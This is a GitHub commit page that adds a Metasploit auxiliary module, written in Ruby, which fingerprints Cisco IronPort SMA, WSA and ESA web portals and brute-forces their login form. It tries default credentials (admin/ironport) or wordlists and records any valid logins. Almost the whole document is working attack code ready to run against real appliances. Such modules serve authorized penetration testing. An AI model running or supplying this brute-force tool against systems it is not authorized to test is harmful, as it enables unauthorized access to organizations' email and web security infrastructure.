Skip to content

Commit a86b247

Browse files
committed
Land rapid7#2224 - Add brute force module for Cisco IronPort
2 parents 3762b84 + bbe57db commit a86b247

File tree

1 file changed

+165
-0
lines changed

1 file changed

+165
-0
lines changed
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'rex/proto/http'
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::AuthBrute
16+
include Msf::Auxiliary::Scanner
17+
18+
def initialize(info={})
19+
super(update_info(info,
20+
'Name' => 'Cisco Ironport Bruteforce Login Utility',
21+
'Description' => %{
22+
This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
23+
version and performs login brute force to identify valid credentials.
24+
},
25+
'Author' =>
26+
[
27+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
28+
],
29+
'License' => MSF_LICENSE
30+
))
31+
32+
register_options(
33+
[
34+
Opt::RPORT(443),
35+
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
36+
OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
37+
OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
38+
], self.class)
39+
end
40+
41+
def run_host(ip)
42+
unless check_conn?
43+
print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
44+
return
45+
end
46+
47+
unless is_app_ironport?
48+
print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
49+
return
50+
end
51+
52+
print_status("#{rhost}:#{rport} - Starting login brute force...")
53+
each_user_pass do |user, pass|
54+
do_login(user, pass)
55+
end
56+
end
57+
58+
def check_conn?
59+
begin
60+
res = send_request_cgi(
61+
{
62+
'uri' => '/',
63+
'method' => 'GET'
64+
})
65+
print_good("#{rhost}:#{rport} - Server is responsive...")
66+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
67+
return
68+
end
69+
end
70+
71+
#
72+
# What's the point of running this module if the app actually isn't Cisco IronPort
73+
#
74+
75+
def is_app_ironport?
76+
res = send_request_cgi(
77+
{
78+
'uri' => '/',
79+
'method' => 'GET'
80+
})
81+
82+
if (res and res.headers['Set-Cookie'])
83+
84+
cookie = res.headers['Set-Cookie'].split('; ')[0]
85+
86+
res = send_request_cgi(
87+
{
88+
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
89+
'method' => 'GET',
90+
'cookie' => '#{cookie}'
91+
})
92+
93+
if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
94+
version_key = /Cisco IronPort AsyncOS (.+? )/
95+
version = res.body.scan(version_key).flatten[0].gsub('"','')
96+
product_key = /for (.*)</
97+
product = res.body.scan(product_key).flatten[0]
98+
99+
if (product == 'Security Management Appliances')
100+
p_name = 'Cisco IronPort Security Management Appliance (SMA)'
101+
print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
102+
elsif ( product == 'Cisco IronPort Web Security Appliances' )
103+
p_name = 'Cisco IronPort Web Security Appliance (WSA)'
104+
print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
105+
elsif ( product == 'Cisco IronPort Appliances' )
106+
p_name = 'Cisco IronPort Email Security Appliance (ESA)'
107+
print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
108+
end
109+
110+
return true
111+
else
112+
return false
113+
end
114+
else
115+
return false
116+
end
117+
end
118+
119+
#
120+
# Brute-force the login page
121+
#
122+
123+
def do_login(user, pass)
124+
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
125+
begin
126+
res = send_request_cgi(
127+
{
128+
'uri' => '/login',
129+
'method' => 'POST',
130+
'vars_post' =>
131+
{
132+
'action' => 'Login',
133+
'referrer' => '',
134+
'screen' => 'login',
135+
'username' => user,
136+
'password' => pass
137+
}
138+
})
139+
140+
if (res and res.headers['Set-Cookie'].include?('authenticated='))
141+
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
142+
143+
report_hash = {
144+
:host => rhost,
145+
:port => rport,
146+
:sname => 'Cisco IronPort Appliance',
147+
:user => user,
148+
:pass => pass,
149+
:active => true,
150+
:type => 'password'
151+
}
152+
153+
report_auth_info(report_hash)
154+
return :next_user
155+
156+
else
157+
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
158+
end
159+
160+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
161+
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
162+
return :abort
163+
end
164+
end
165+
end

0 commit comments

Comments
 (0)